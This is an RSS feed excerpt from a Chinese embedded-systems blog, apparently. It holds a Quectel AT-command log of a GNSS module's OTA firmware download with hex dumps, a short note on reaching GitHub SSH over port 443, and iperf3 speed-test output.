</span></span><span class="line"><span class="cl">0160-0180: <span class="m">80</span> <span class="m">21</span> <span class="m">20</span> <span class="m">14</span> C0 CB <span class="m">24</span> <span class="m">14</span>  <span class="m">90</span> CC <span class="m">24</span> <span class="m">04</span> <span class="m">40</span> FA <span class="m">24</span> <span class="m">04</span>  <span class="m">45</span> 4A <span class="m">01</span> <span class="m">08</span> 3C <span class="m">54</span> <span class="m">11</span> <span class="m">08</span>  <span class="m">00</span> <span class="m">04</span> <span class="m">30</span> <span class="m">04</span> <span class="m">24</span> <span class="m">05</span> <span class="m">30</span> <span class="m">04</span>    .! ...$...$.@.$.EJ..&lt;T....0.$.0.
</span></span><span class="line"><span class="cl">0180-01A0: <span class="m">60</span> <span class="m">55</span> <span class="m">11</span> <span class="m">08</span> <span class="m">24</span> <span class="m">05</span> <span class="m">30</span> <span class="m">04</span>  <span class="m">24</span> <span class="m">05</span> <span class="m">30</span> <span class="m">04</span> <span class="m">24</span> <span class="m">05</span> <span class="m">30</span> <span class="m">04</span>  <span class="m">24</span> <span class="m">05</span> <span class="m">30</span> <span class="m">04</span> <span class="m">60</span> <span class="m">55</span> <span class="m">11</span> <span class="m">08</span>  <span class="m">40</span> <span class="m">05</span> <span class="m">30</span> <span class="m">14</span> <span class="m">40</span> <span class="m">05</span> <span class="m">30</span> <span class="m">14</span>    <span class="sb">`</span>U..$.0.$.0.$.0.$.0.<span class="sb">`</span>U..@.0.@.0.
</span></span><span class="line"><span class="cl">01A0-01C0: <span class="m">40</span> <span class="m">05</span> <span class="m">30</span> <span class="m">14</span> F0 BD <span class="m">30</span> <span class="m">14</span>  B1 <span class="m">91</span> <span class="m">00</span> <span class="m">08</span> <span class="m">29</span> A6 <span class="m">02</span> <span class="m">08</span>  <span class="m">06</span> 4B D3 F8 <span class="m">88</span> <span class="m">20</span> <span class="m">42</span> F4  <span class="m">70</span> <span class="m">02</span> C3 F8 <span class="m">88</span> <span class="m">20</span> <span class="m">04</span> 4A    @.0...0.....<span class="o">)</span>....K... B.p.... .J
</span></span><span class="line"><span class="cl">01C0-01E0: 9A <span class="m">60</span> 5A 6A <span class="m">42</span> F4 E0 <span class="m">22</span>  5A <span class="m">62</span> <span class="m">70</span> <span class="m">47</span> <span class="m">00</span> ED <span class="m">00</span> E0  <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">12</span> 4B <span class="m">13</span> <span class="m">49</span>  <span class="m">00</span> <span class="m">22</span> 1A <span class="m">60</span> <span class="m">13</span> <span class="m">22</span> 5A <span class="m">60</span>    .<span class="sb">`</span>ZjB..<span class="s2">&#34;ZbpG.........K.I.&#34;</span>.<span class="sb">`</span>.<span class="s2">&#34;Z`
</span></span></span><span class="line"><span class="cl"><span class="s2">01E0-0200: 03 22 5A 60 10 4A 41 F4  80 70 10 60 0F 48 01 44  11 64 01 22 DA 62 0E 4A  B2 F5 A0 3F 08 D0 B2 F5    .&#34;</span>Z<span class="sb">`</span>.JA..p.<span class="sb">`</span>.H.D.d.<span class="s2">&#34;.b.J...?....
</span></span></span><span class="line"><span class="cl"><span class="s2">0200-0220: B0 3F 08 D0 B2 F5 80 3F  08 D1 40 F2 0D 32 04 E0  40 F2 0D 22 01 E0 40 F2  0D 12 1A 60 70 47 00 BF    .?.....?..@..2..@..&#34;</span>..@....<span class="sb">`</span>pG..
</span></span><span class="line"><span class="cl">0220-0240: <span class="m">00</span> <span class="m">00</span> <span class="m">18</span> E0 <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">08</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">19</span> E0 <span class="m">00</span> <span class="m">00</span> <span class="m">20</span> <span class="m">00</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">01</span> <span class="m">00</span> 9A <span class="m">42</span> 3E BF  <span class="m">51</span> F8 <span class="m">04</span> 0B <span class="m">42</span> F8 <span class="m">04</span> 0B    .............. ......B&gt;.Q...B...
</span></span><span class="line"><span class="cl">0240-0260: FF F7 F8 BF <span class="m">70</span> <span class="m">47</span> 9A <span class="m">42</span>  3E BF <span class="m">00</span> <span class="m">20</span> <span class="m">42</span> F8 <span class="m">04</span> 0B  FF F7 F9 BF <span class="m">70</span> <span class="m">47</span> <span class="m">00</span> <span class="m">00</span>  D0 <span class="m">40</span> 0B 1C D1 <span class="m">40</span> 9C <span class="m">46</span>    ....pG.B&gt;.. B.......pG...@...@.F
</span></span><span class="line"><span class="cl">0260-0280: <span class="m">20</span> 3A D3 <span class="m">40</span> <span class="m">18</span> <span class="m">43</span> <span class="m">52</span> <span class="m">42</span>  <span class="m">63</span> <span class="m">46</span> <span class="m">93</span> <span class="m">40</span> <span class="m">18</span> <span class="m">43</span> <span class="m">70</span> <span class="m">47</span>  <span class="m">91</span> <span class="m">40</span> <span class="m">03</span> 1C <span class="m">90</span> <span class="m">40</span> 9C <span class="m">46</span>  <span class="m">20</span> 3A <span class="m">93</span> <span class="m">40</span> <span class="m">19</span> <span class="m">43</span> <span class="m">52</span> <span class="m">42</span>     :.@.CRBcF.@.CpG.@...@.F :.@.CRB
</span></span><span class="line"><span class="cl">0280-02A0: <span class="m">63</span> <span class="m">46</span> D3 <span class="m">40</span> <span class="m">19</span> <span class="m">43</span> <span class="m">70</span> <span class="m">47</span>  <span class="m">81</span> F0 <span class="m">00</span> <span class="m">41</span> <span class="m">02</span> E0 <span class="m">00</span> BF  <span class="m">83</span> F0 <span class="m">00</span> <span class="m">43</span> <span class="m">30</span> B5 4F EA  <span class="m">41</span> <span class="m">04</span> 4F EA <span class="m">43</span> <span class="m">05</span> <span class="m">94</span> EA    cF.@.CpG...A.......C0.O.A.O.C...
</span></span><span class="line"><span class="cl">02A0-02C0: <span class="m">05</span> 0F <span class="m">08</span> BF <span class="m">90</span> EA <span class="m">02</span> 0F  1F BF <span class="m">54</span> EA <span class="m">00</span> 0C <span class="m">55</span> EA  <span class="m">02</span> 0C 7F EA <span class="m">64</span> 5C 7F EA  <span class="m">65</span> 5C <span class="m">00</span> F0 E2 <span class="m">80</span> 4F EA    ..........T...U.....d<span class="se">\.</span>.e<span class="se">\.</span>...O.
</span></span><span class="line"><span class="cl">02C0-02E0: <span class="m">54</span> <span class="m">54</span> D4 EB <span class="m">55</span> <span class="m">55</span> B8 BF  6D <span class="m">42</span> 0C DD 2C <span class="m">44</span> <span class="m">80</span> EA  <span class="m">02</span> <span class="m">02</span> <span class="m">81</span> EA <span class="m">03</span> <span class="m">03</span> <span class="m">82</span> EA  <span class="m">00</span> <span class="m">00</span> <span class="m">83</span> EA <span class="m">01</span> <span class="m">01</span> <span class="m">80</span> EA    TT..UU..mB..,D..................
</span></span><span class="line"><span class="cl">02E0-0300: <span class="m">02</span> <span class="m">02</span> <span class="m">81</span> EA <span class="m">03</span> <span class="m">03</span> <span class="m">36</span> 2D  <span class="m">88</span> BF <span class="m">30</span> BD <span class="m">11</span> F0 <span class="m">00</span> 4F  4F EA <span class="m">01</span> <span class="m">31</span> 4F F4 <span class="m">80</span> 1C  4C EA <span class="m">11</span> <span class="m">31</span> <span class="m">02</span> D0 <span class="m">40</span> <span class="m">42</span>    ......6-..0....OO..1O...L..1..@B
</span></span><span class="line"><span class="cl">0300-0320: <span class="m">61</span> EB <span class="m">41</span> <span class="m">01</span> <span class="m">13</span> F0 <span class="m">00</span> 4F  4F EA <span class="m">03</span> <span class="m">33</span> 4C EA <span class="m">13</span> <span class="m">33</span>  <span class="m">02</span> D0 <span class="m">52</span> <span class="m">42</span> <span class="m">63</span> EB <span class="m">43</span> <span class="m">03</span>  <span class="m">94</span> EA <span class="m">05</span> 0F <span class="m">00</span> F0 A7 <span class="m">80</span>    a.A....OO..3L..3..RBc.C.........
</span></span><span class="line"><span class="cl">0320-0340: A4 F1 <span class="m">01</span> <span class="m">04</span> D5 F1 <span class="m">20</span> 0E  0D DB <span class="m">02</span> FA 0E FC <span class="m">22</span> FA  <span class="m">05</span> F2 <span class="m">80</span> <span class="m">18</span> <span class="m">41</span> F1 <span class="m">00</span> <span class="m">01</span>  <span class="m">03</span> FA 0E F2 <span class="m">80</span> <span class="m">18</span> <span class="m">43</span> FA    ...... .......<span class="s2">&#34;.....A.........C.
</span></span></span><span class="line"><span class="cl"><span class="s2">0340-0360: 05 F3 59 41 0E E0 A5 F1  20 05 0E F1 20 0E 01 2A  03 FA 0E FC 28 BF 4C F0  02 0C 43 FA 05 F3 C0 18    ..YA.... ... ..*....(.L...C.....
</span></span></span><span class="line"><span class="cl"><span class="s2">0360-0380: 51 EB E3 71 01 F0 00 45  07 D5 4F F0 00 0E DC F1  00 0C 7E EB 00 00 6E EB  01 01 B1 F5 80 1F 1B D3    Q..q...E..O.......~...n.........
</span></span></span><span class="line"><span class="cl"><span class="s2">0380-03A0: B1 F5 00 1F 0C D3 49 08  5F EA 30 00 4F EA 3C 0C  04 F1 01 04 4F EA 44 52  12 F5 80 0F 80 F0 9A 80    ......I._.0.O.&lt;.....O.DR........
</span></span></span><span class="line"><span class="cl"><span class="s2">03A0-03C0: BC F1 00 4F 08 BF 5F EA  50 0C 50 F1 00 00 41 EB  04 51 41 EA 05 01 30 BD  5F EA 4C 0C 40 41 41 EB    ...O.._.P.P...A..QA...0._.L.@AA.
</span></span></span><span class="line"><span class="cl"><span class="s2">03C0-03E0: 01 01 11 F4 80 1F A4 F1  01 04 E9 D1 91 F0   
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">OK
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">...
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">AT+QIOTOTARD=204540,974
</span></span></span><span class="line"><span class="cl"><span class="s2">+QIOTOTARD: 204540,260
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">0000-0020: 61 8A B0 F0 67 FE 28 46  E1 8A BD E8 38 40 B1 F0  69 B8 70 B5 04 46 0D 46  20 21 B1 F0 CB F9 21 68    a...g.(F....8@..i.p..F.F !....!h
</span></span></span><span class="line"><span class="cl"><span class="s2">0020-0040: 78 22 00 26 8D 42 0E D0  2B 78 20 2B 01 D0 1E 44  02 E0 20 2A 01 D0 20 36  1A 46 E3 68 01 35 9D 42    x&#34;</span>.<span class="p">&amp;</span>.B..+x +...D.. *.. 6.F.h.5.B
</span></span><span class="line"><span class="cl">0040-0060: <span class="m">28</span> BF A5 <span class="m">68</span> EE E7 <span class="m">20</span> <span class="m">46</span>  <span class="m">26</span> <span class="m">21</span> B1 F0 B3 F9 <span class="m">20</span> <span class="m">46</span>  F1 B2 B1 F0 <span class="m">77</span> F9 <span class="m">20</span> <span class="m">46</span>  BD E8 <span class="m">70</span> <span class="m">40</span> B1 F0 E2 BA    <span class="o">(</span>..h.. F<span class="p">&amp;</span>!.... F....w. F..p@....
</span></span><span class="line"><span class="cl">0060-0080: <span class="m">01</span> <span class="m">28</span> 2D E9 F0 <span class="m">47</span> <span class="m">07</span> <span class="m">46</span>  0C <span class="m">46</span> <span class="m">15</span> <span class="m">46</span> 1E <span class="m">46</span> <span class="m">34</span> D1  <span class="m">08</span> <span class="m">46</span> B1 F0 D7 FA <span class="m">20</span> <span class="m">46</span>  <span class="m">23</span> <span class="m">21</span> B1 F0 9B F9 <span class="m">20</span> <span class="m">46</span>    .<span class="o">(</span>-..G.F.F.F.F4..F.... F#!.... F
</span></span><span class="line"><span class="cl">0080-00A0: <span class="m">93</span> <span class="m">49</span> D4 F8 <span class="m">00</span> <span class="m">80</span> B0 F0  6D FB <span class="m">20</span> <span class="m">46</span> <span class="m">31</span> 7E B1 F0  <span class="m">29</span> F8 <span class="m">20</span> <span class="m">46</span> B1 <span class="m">68</span> B1 F0  A5 F8 <span class="m">20</span> <span class="m">46</span> <span class="m">39</span> <span class="m">46</span> B1 F0    .I......m. F1~..<span class="o">)</span>. F.h.... F9F..
</span></span><span class="line"><span class="cl">00A0-00C0: <span class="m">21</span> F8 <span class="m">20</span> <span class="m">46</span> F1 <span class="m">68</span> B0 F0  DD FD <span class="m">20</span> <span class="m">46</span> <span class="m">31</span> <span class="m">69</span> B0 F0  D9 FD <span class="m">20</span> <span class="m">46</span> <span class="m">71</span> <span class="m">78</span> B0 F0  ED FA <span class="m">20</span> <span class="m">46</span> <span class="m">71</span> <span class="m">69</span> B0 F0    !. F.h.... F1i.... Fqx.... Fqi..
</span></span><span class="line"><span class="cl">00C0-00E0: D1 FD <span class="m">20</span> <span class="m">46</span> <span class="m">29</span> 7D B1 F0  0D F8 <span class="m">20</span> <span class="m">46</span> <span class="m">00</span> <span class="m">21</span> B1 F0  B9 F8 <span class="m">20</span> <span class="m">46</span> <span class="m">41</span> <span class="m">46</span> FF F7  9C FF <span class="m">01</span> 3F FF <span class="m">00</span> <span class="m">07</span> F1    .. F<span class="o">)}</span>.... F.!.... FAF.....?....
</span></span><span class="line"><span class="cl">00E0-0100: <span class="m">08</span> <span class="m">08</span> <span class="m">30</span> <span class="m">25</span> <span class="m">24</span> <span class="m">23</span> <span class="m">05</span> FB  <span class="m">07</span> <span class="m">65</span> B8 F1 <span class="m">33</span> 0F <span class="m">28</span> BF  4F F0 <span class="m">33</span> <span class="m">08</span> <span class="m">03</span> FB <span class="m">07</span> <span class="m">66</span>  <span class="m">47</span> <span class="m">45</span> <span class="m">80</span> F0 E7 <span class="m">80</span> <span class="m">95</span> F8    ..0%<span class="nv">$#</span>...e..3.<span class="o">(</span>.O.3....fGE......
</span></span><span class="line"><span class="cl">0100-0120: <span class="m">49</span> <span class="m">37</span> <span class="m">05</span> F5                                                                                           I7..
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">0000-0020: 4F 4B 0D 0A                                                                                           OK
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 请求下载下一个文件片段</span>
</span></span><span class="line"><span class="cl">AT+QIOTUPDATE<span class="o">=</span><span class="m">2</span>
</span></span><span class="line"><span class="cl">OK
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10702
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10703,<span class="s2">&#34;GNSS-P3&#34;</span>,1110736,204800,204800
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">AT+QIOTOTARD<span class="o">=</span>204800,974
</span></span><span class="line"><span class="cl">+QIOTOTARD: 204800,974
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">0000-0020: E9 6A <span class="m">00</span> 2B <span class="m">00</span> F0 DC <span class="m">80</span>  <span class="m">20</span> <span class="m">46</span> <span class="m">23</span> <span class="m">21</span> B1 F0 <span class="m">50</span> F9  <span class="m">20</span> <span class="m">46</span> 6F <span class="m">49</span> D4 F8 <span class="m">00</span> <span class="m">90</span>  B0 F0 <span class="m">22</span> FB <span class="m">20</span> <span class="m">46</span> <span class="m">39</span> <span class="m">46</span>    .j.+.... F#!..P. FoI......<span class="s2">&#34;. F9F
</span></span></span><span class="line"><span class="cl"><span class="s2">0020-0040: B0 F0 DE FF 20 46 51 46  FF F7 33 FF 20 46 B1 6A  B0 F0 96 FD 20 46 F1 6A  B0 F0 8A FA 31 6B 20 46    .... FQF..3. F.j.... F.j....1k F
</span></span></span><span class="line"><span class="cl"><span class="s2">0040-0060: B0 F0 7E FC 20 46 B1 F0  9B FA 20 46 F1 8B B1 F0  F7 FA 20 46 B1 F0 94 FA  73 6B 5E 4A 93 42 02 DB    ..~. F.... F...... F....sk^J.B..
</span></span></span><span class="line"><span class="cl"><span class="s2">0060-0080: 20 46 B1 F0 8D FA 20 46  71 6B B0 F0 69 FC 71 8C  20 46 B0 F0 AD FD 20 46  B1 F0 82 FA F1 6B 20 46     F.... Fqk..i.q. F.... F.....k F
</span></span></span><span class="line"><span class="cl"><span class="s2">0080-00A0: B0 F0 FE FD 20 46 B1 F0  7B FA B5 F8 54 17 20 46  B1 F0 D6 FA 20 46 B1 F0  73 FA D5 F8 68 17 20 46    .... F..{...T. F.... F..s...h. F
</span></span></span><span class="line"><span class="cl"><span class="s2">00A0-00C0: B0 F0 56 FA 20 46 B1 F0  6B FA B1 6B 20 46 B0 F0  47 FC 20 46 B1 F0 64 FA  95 F8 50 17 20 46 B0 F0    ..V. F..k..k F..G. F..d...P. F..
</span></span></span><span class="line"><span class="cl"><span class="s2">00C0-00E0: 67 FA 20 46 B1 F0 5C FA  31 8C 20 46 B1 F0 B8 FA  20 46 B1 F0 55 FA B5 F8  5C 17 20 46 B0 F0 78 FD    g. F..\.1. F.... F..U...\. F..x.
</span></span></span><span class="line"><span class="cl"><span class="s2">00E0-0100: 20 46 B1 F0 4D FA B5 F9  60 17 20 46 B1 F0 28 F8  20 46 B1 F0 45 FA B6 F9  24 10 20 46 B1 F0 20 F8     F..M...`. F..(. F..E...</span>$<span class="s2">. F.. .
</span></span></span><span class="line"><span class="cl"><span class="s2">0100-0120: 20 46 B1 F0 3D FA B5 F9  62 17 20 46 B1 F0 18 F8  20 46 B1 F0 35 FA 95 F8  48 17 20 46 B1 F0 B0 FA     F..=...b. F.... F..5...H. F....
</span></span></span><span class="line"><span class="cl"><span class="s2">0120-0140: 20 46 B1 F0 2D FA B5 F9  6C 17 20 46 B0 F0 90 FC  20 46 B1 F0 25 FA B5 F8  64 17 20 46 B0 F0 88 FC     F..-...l. F.... F..%...d. F....
</span></span></span><span class="line"><span class="cl"><span class="s2">0140-0160: 20 46 B1 F0 1D FA B5 F8  66 17 20 46 B0 F0 80 FC  20 46 B1 F0 15 FA 95 F8  4A 17 20 46 B0 F0 78 FC     F......f. F.... F......J. F..x.
</span></span></span><span class="line"><span class="cl"><span class="s2">0160-0180: 20 46 B1 F0 0D FA 95 F8  6F 37 95 F8 6E 17 20 46  43 EA 01 21 B0 F0 6C FC  20 46 B1 F0 01 FA B5 F8     F......o7..n. FC..!..l. F......
</span></span></span><span class="line"><span class="cl"><span class="s2">0180-01A0: 70 17 20 46 B0 F0 64 FC  20 46 B1 F0 F9 F9 B5 F8  72 17 20 46 B0 F0 5C FC  20 46 B1 F0 F1 F9 B5 F8    p. F..d. F......r. F..\. F......
</span></span></span><span class="line"><span class="cl"><span class="s2">01A0-01C0: 74 17 20 46 B0 F0 54 FC  20 46 B1 F0 E9 F9 20 46  B5 F8 76 17 B0 F0 4C FC  20 46 49 46 FF F7 A7 FE    t. F..T. F.... F..v...L. FIF....
</span></span></span><span class="line"><span class="cl"><span class="s2">01C0-01E0: 01 37 30 35 24 36 15 E7  BD E8 F0 87 BA 74 0F 08  BF 74 0F 08 01 36 65 C4  2D E9 F0 4F 9F 4B 1A 68    .705</span><span class="nv">$6</span><span class="s2">.......t...t...6e.-..O.K.h
</span></span></span><span class="line"><span class="cl"><span class="s2">01E0-0200: 52 04 8D B0 04 46 40 F1  35 81 01 29 40 F0 32 81  1A 68 9B 49 22 F4 80 42  1A 60 41 F6 83 03 41 F6    R....F@.5..)@.2..h.I&#34;</span>..B.<span class="sb">`</span>A...A.
</span></span><span class="line"><span class="cl">0200-0220: AA <span class="m">07</span> <span class="m">11</span> F8 <span class="m">03</span> C0 <span class="m">41</span> F6  <span class="m">82</span> <span class="m">03</span> CB 5C <span class="m">03</span> EB 0C 2C  <span class="m">41</span> F6 <span class="m">85</span> <span class="m">03</span> 1F FA 8C FC  CA 5C <span class="m">41</span> F6 <span class="m">84</span> <span class="m">03</span> CB 5C    ......A....<span class="se">\.</span>..,A........<span class="se">\A</span>....<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>0220-0240: <span class="m">03</span> EB <span class="m">02</span> <span class="m">22</span> <span class="m">41</span> F6 <span class="m">87</span> <span class="m">03</span>  <span class="m">92</span> B2 CD 5C <span class="m">41</span> F6 <span class="m">86</span> <span class="m">03</span>  CB 5C <span class="m">03</span> EB <span class="m">05</span> <span class="m">23</span> 9B B2  <span class="m">03</span> <span class="m">93</span> <span class="m">41</span> F6 <span class="m">89</span> <span class="m">03</span> CD 5C    ...<span class="s2">&#34;A......\A....\...#....A....\
</span></span></span><span class="line"><span class="cl"><span class="s2">0240-0260: 41 F6 88 03 CB 5C 03 EB  05 23 9B B2 04 93 41 F6  93 03 CD 5C 41 F6 92 03  CB 5C 03 EB 05 23 9B B2    A....\...#....A....\A....\...#..
</span></span></span><span class="line"><span class="cl"><span class="s2">0260-0280: 05 93 41 F6 95 03 CD 5C  41 F6 94 03 CB 5C 03 EB  05 23 9B B2 06 93 41 F6  97 03 CD 5C 41 F6 96 03    ..A....\A....\...#....A....\A...
</span></span></span><span class="line"><span class="cl"><span class="s2">0280-02A0: CB 5C 03 EB 05 23 9B B2  07 93 41 F6 99 03 CD 5C  41 F6 98 03 CB 5C 03 EB  05 23 9B B2 08 93 41 F6    .\...#....A....\A....\...#....A.
</span></span></span><span class="line"><span class="cl"><span class="s2">02A0-02C0: 81 03 CD 5C 01 F5 C4 53  1B 78 03 EB 05 25 41 F6  9B 03 AD B2 CE 5C 41 F6  9A 03 CB 5C 03 EB 06 23    ...\...S.x...%A......\A....\...#
</span></span></span><span class="line"><span class="cl"><span class="s2">02C0-02E0: 9B B2 09 93 41 F6 9D 03  CE 5C 41 F6 9C 03 CB 5C  03 EB 06 23 9B B2 0A 93  41 F6 9F 03 CE 5C 41 F6    ....A....\A....\...#....A....\A.
</span></span></span><span class="line"><span class="cl"><span class="s2">02E0-0300: 9E 03 CB 5C 03 EB 06 23  9B B2 0B 93 41 F6 A1 03  CF 5D CE 5C 01 F5 C5 53  1B 78 03 EB 06 23 41 F6    ...\...#....A....].\...S.x...#A.
</span></span></span><span class="line"><span class="cl"><span class="s2">0300-0320: A3 06 9B B2 11 F8 06 B0  41 F6 A2 06 8E 5D 06 EB  0B 2B 41 F6 A5 06 1F FA  8B FB 11 F8 06 A0 41 F6    ........A....]...+A...........A.
</span></span></span><span class="line"><span class="cl"><span class="s2">0320-0340: A4 06 8E 5D 06 EB 0A 2A  41 F6 A7 06 1F FA 8A FA  11 F8 06 90 41 F6 A6 06  8E 5D 06 EB 09 29 41 F6    ...]...*A...........A....]...)A.
</span></span></span><span class="line"><span class="cl"><span class="s2">0340-0360: A9 06 1F FA 89 F9 11 F8  06 80 41 F6 A8 06 8E 5D  06 EB 08 28 41 F6 AB 06  1F FA 88 F8 8E 5D 41 49    ..........A....]...(A........]AI
</span></span></span><span class="line"><span class="cl"><span class="s2">0360-0380: 07 EB 06 27 C5 F3 03 26  0E 70 00 93 01 92 CD F8  08 C0 B1 F0 D5 F8 20 46  23 21 B0 F0 99 FF 20 46    ...&#39;...&amp;.p............ F#!.... F
</span></span></span><span class="line"><span class="cl"><span class="s2">0380-03A0: 39 49 26 68 B0 F0 6C F9  DD F8 08 C0 20 46 61 46  B0 F0 E6 FC 01 9A 20 46  11 46 B0 F0 E1 FC 20 46    9I&amp;h..l..... FaF...... F.F.... F
</span></span></span><span class="line"><span class="cl"><span class="s2">03A0-03C0: 03 99 B0 F0 DD FC 20 46  04 99 B0 F0 D9 FC 20 46  0B 99 B0 F0 D5 FC 00 9B  20 46 19 46 B0 F0 D0 FC    ...... F...... F........ F.F....
</span></span></span><span class="line"><span class="cl"><span class="s2">03C0-03E0: 20 46 59 46 B0 F0 CC FC  20 46 51 46 B0 F0                                                             FYF.... FQF..
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">OK
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">...
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">AT+QIOTOTARD=1110686,974                         
</span></span></span><span class="line"><span class="cl"><span class="s2">+QIOTOTARD: 1110686,50
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">0000-0020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00    ................................
</span></span></span><span class="line"><span class="cl"><span class="s2">0020-0040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00                                               ..................
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">OK
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">## 整个文件下载完成
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">AT+QIOTUPDATE=3
</span></span></span><span class="line"><span class="cl"><span class="s2">OK
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">AT+QIOTMCUVER=&#34;</span>GNSS-P3<span class="s2">&#34;,&#34;</span>LC76GABNR12A02S<span class="s2">&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">## 升级中
</span></span></span><span class="line"><span class="cl"><span class="s2">+QIOTEVT: 7,10704
</span></span></span><span class="line"><span class="cl"><span class="s2">## 升级成功
</span></span></span><span class="line"><span class="cl"><span class="s2">+QIOTEVT: 7,10705
</span></span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>Github 仓库 ssh 连接失败处理</title>
      <link>https://hacperme.com/posts/notes/20241231_github_notes/</link>
      <pubDate>Tue, 31 Dec 2024 00:49:37 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20241231_github_notes/</guid>
      <description>突然 ssh 连不上 github，无法拉取仓库代码，配置 https.proxy http.proxy 代理无效（可能我用的是 ssh 的原因）。然后看到 git 设置和取消代理 可以尝试将 ssh 端口修改为 443，</description>
      <content:encoded><![CDATA[<p>突然 ssh 连不上 github，无法拉取仓库代码，配置 https.proxy http.proxy 代理无效（可能我用的是 ssh 的原因）。然后看到 <a href="https://gist.github.com/laispace/666dd7b27e9116faece6">git 设置和取消代理</a> 可以尝试将 ssh 端口修改为 443，真救了老命了。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 创建 ~/.ssh/config 配置文件和写入如下配置</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 将 ssh 端口修改为 443</span>
</span></span><span class="line"><span class="cl">Host github.com
</span></span><span class="line"><span class="cl">    Hostname ssh.github.com
</span></span><span class="line"><span class="cl">    Port <span class="m">443</span>
</span></span><span class="line"><span class="cl">    User git
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>【EC200A 学习笔记】-- ASR1803S&#43;AIC8800DW&#43;SZ18201 简单测速结果</title>
      <link>https://hacperme.com/posts/series/asr1803/20241108_ec200a_wifi_eth_speed_test/</link>
      <pubDate>Fri, 08 Nov 2024 00:49:37 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/asr1803/20241108_ec200a_wifi_eth_speed_test/</guid>
      <description>ASR1803S+AIC8800DW+SZ18201 简单测速的验证结果。</description>
      <content:encoded><![CDATA[<p>硬件环境：ASR1803S+AIC8800DW+SZ18201，手机连接 ASR1803S 热点，PC 端通过网线连接 ASR1803S，简单测速验证结果。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># PC 端作为 server， 手机端作为 client</span>
</span></span><span class="line"><span class="cl">❯ .<span class="se">\i</span>perf3.exe -s
</span></span><span class="line"><span class="cl">-----------------------------------------------------------
</span></span><span class="line"><span class="cl">Server listening on <span class="m">5201</span>
</span></span><span class="line"><span class="cl">-----------------------------------------------------------
</span></span><span class="line"><span class="cl">Accepted connection from 192.168.0.200, port <span class="m">39734</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span> <span class="nb">local</span> 192.168.0.100 port <span class="m">5201</span> connected to 192.168.0.200 port <span class="m">39744</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span> ID<span class="o">]</span> Interval           Transfer     Bandwidth
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   0.00-1.00   sec  4.07 MBytes  34.1 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   1.00-2.00   sec  4.22 MBytes  35.3 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   2.00-3.00   sec  4.18 MBytes  35.1 Mbits/sec
